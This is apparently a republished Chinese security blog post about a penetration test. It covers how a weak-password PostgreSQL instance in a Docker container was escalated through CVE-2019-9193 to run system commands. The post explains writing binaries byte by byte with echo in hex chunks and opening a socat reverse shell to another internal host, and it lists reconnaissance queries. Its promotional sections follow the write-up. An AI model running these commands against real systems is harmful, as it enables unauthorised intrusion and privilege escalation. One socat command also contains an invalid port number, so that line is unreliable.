干货 | PostgreSQL不出网提权过程
2023-5-1 22:26:22 Author: 渗透安全团队(查看原文) 阅读量:21 收藏

 

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

Part1 前言 
在日常的内网横向过程中,对于SMB、Mysql、SSH、Sqlserver、Oracle等服务的弱口令爆破是常用手段,重复的红队攻防比赛使得这些服务的弱口令越来越少了。所以在平时,ABC_123也会关注一些其它服务的弱口令提权方法,有时候会在内网横向中收到奇效。本期就分享一个在内网渗透中,遇到的PostgreSQL数据库提权案例,过程非常艰辛,但是收获不少。
首先简单介绍一下当时的渗透测试工作进展情况:前期通过外围打点进入了一个大B段的内网,内网非常庞大,但是资产极其稀少,在客户授权的情况下,一通B段探测,仅仅发现了一个Postgres弱口令,而且这个PostgreSQL是在docker容器中的,是非root权限起的服务,也就说内网只有这一个突破口。通过查看目录,发现一些目录有很多开发留下来的配置文件,但是需要root权限才能读取到。所以,接下来的要做的事情非常明确,就是提权到Linux服务器最高权限。
此文章抛砖引玉,如果大家有更好的方法,欢迎微信后台给我发消息讨论。
 Part2 技术研究过程 
  • 对于PostgreSQL信息探测
首先按照惯例,肯定是需要对PostgreSQL数据库进行一系列信息收集的,常用的命令有以下这些:
-- 版本信息
select version();
show server_version;
select pg_read_file('PG_VERSION', 0, 200);
-- 数字版本信息包括小版号
SHOW server_version_num;
SELECT current_setting('server_version_num');
-- 获取安装目录(通过路径可以判断系统是linux还是windows的)
select setting from pg_settings where name = 'data_directory';
-- 获取配置文件路径
selectsetting from pg_settings where name='config_file'
-- 获取Postgres内网ip地址
select inet_server_addr()
  • PostgreSQL提权漏洞尝试
通过各种搜索,发现PostgreSQL曾经爆出过三个有价值的提权漏洞:其中一个漏洞是CVE-2018-1058,漏洞描述是“PostgreSQL的9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作”。在网上看了几篇漏洞复现文章之后,感觉这个漏洞不太好利用,提权成功需要等待“超级用户触发”,而且这个漏洞是“把一个普通的数据库用户权限提升到数据库管理员权限”,而我们需要的是一个Linux服务器权限,所以这个CVE漏洞不适用于本次测试工作。
另一个方法是PostgreSQL的UDF提权执行命令方法,但是本次环境用不成功,而且用起来挺麻烦的。

还找到一个漏洞是CVE-2019-9193,这个漏洞看起来非常好,可以直接执行系统命令,还可以看到回显结果。使用起来也比较简单。如下图所示,这个postgres数据库没有root权限。


  • Linux提权操作却无gcc

通过postgreSQL提权漏洞,我们可以执行linux系统命令了,接下来需要提权到服务器的root权限。我想到的方法是上传一个提权exp,通过linux系统漏洞提权到root权限。可是操作起来没那么简单,因为这个docker容器没装gcc。这种情况也有解决办法,准备一个相似的docker环境,编译好一个exp,将此二进制文件传到服务器上即可运行成功。
  • echo命令写二进制文件

编译后的提权文件做好了,但是此postgres的docker环境太精简了,很多程序都没有:wget命令不存在、curl不存在、python不存在,而且服务器还不出网,所以通过下载文件方式去写入提权文件,看来不太好弄。那么只能直接写二进制文件了,可是问题又来了,| base64 -d 命令不存在、|xxd -r -ps 命令也不存在,怎么写二进制文件呢?
看来只剩下echo命令可用了,经过一系列测试,发现echo是可以直接写入二进制文件的,命令如下echo -e -n "\x23" >> exploit3.bin。比较麻烦的是,需要把二进制文件转成16进制格式的,如下图所示
接下来就是与postgres的提权语句结合起来使用了,原有的echo命令是这样的:
echo -e -n "\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23" >> test3.bin
但是放在postgres必须用以下这样方式才行,试了好多次,只有这样才能写成功!注意,echo左边的是两个单引号,不是双引号,exploit3.bin右边是3个单引号
COPY cmd_exec FROM PROGRAM '/bin/bash -c ''echo -e -n "\x33" >> exploit3.bin''';
最终通过postgres提权漏洞写入提权exp文件的具体语句如下:
最终exploit3.bin文件写入成功了,执行chmod 777 exploit3.bin之后,运行此文件,发现没反应,这时候我才反应过来。。。这个提权exp需要交互环境!!!接下来我需要传一个nc啥的反弹shell获取交互环境吗?可是nc也不一定能获取纯交互环境呀。我想到了一个好久没用的工具socat,解决了这个问题。
  • socat获取交互型shell

socat这款工具,可以说是nc的升级版本,可以轻松获取到一个纯交互环境,github上有很多绿色免安装版本。执行如下命令后,将会获取到一个完全交互式的TTY会话
Vps上监听端口
socat file:`tty`,raw,echo=0 tcp-listen:8888
内网服务器上运行
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:888888
服务器不通外网怎么办呢,正好我们webshell有一台服务器,就反弹到webshell这个服务器上吧。(下图来源于网络)
  • 分割二进制大文件写入成功

把这个socat单文件转成16进制格式的,通过postgres提权命令执行写入。结果通过ls -lah命令发现文件并没有写进去,原因在哪里呢?后来发现,COPY cmd_exec FROM PROGRAM这个语句对二进制文件大小有限制的,文件太大写不进去。接下来怎么办?继续干!
于是把二进制文件分割开,挨个执行echo -e -n命令叠加写入二进制文件,经过一系列测试发现,一个367k大小的socat文件,需要分割成近15份才能写入成功。也是我用java写了一个小程序,将socat文件分割成15份,并且自动生成postgres提权命令。
关注公众号,后台回复“333”,即可获取二进制文件转16进制的java代码文件。
 Part3 总结 
1.  echo命令写二进制文件可以关注一下,遇到大文件,可以把大文件分割成好几份,逐个echo写入,最后叠加成最终的二进制文件。
2.  内网横向中不只要关注mssql、redis、oracle的提权,其它的不常用的服务的提权方法,平时也需要多收集。
3.  socat这款工具可以获取一个纯交互环境,而且在docker精简环境下仍能正常使用。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504125&idx=2&sn=2fd7dc29673fcdde49eef56f5e507b00&chksm=c1762d52f601a444fc46e083401c539d3650689a813d1610173aa5337b60f8c0d20a608fcf4b#rd
如有侵权请联系:admin#unsafe.sh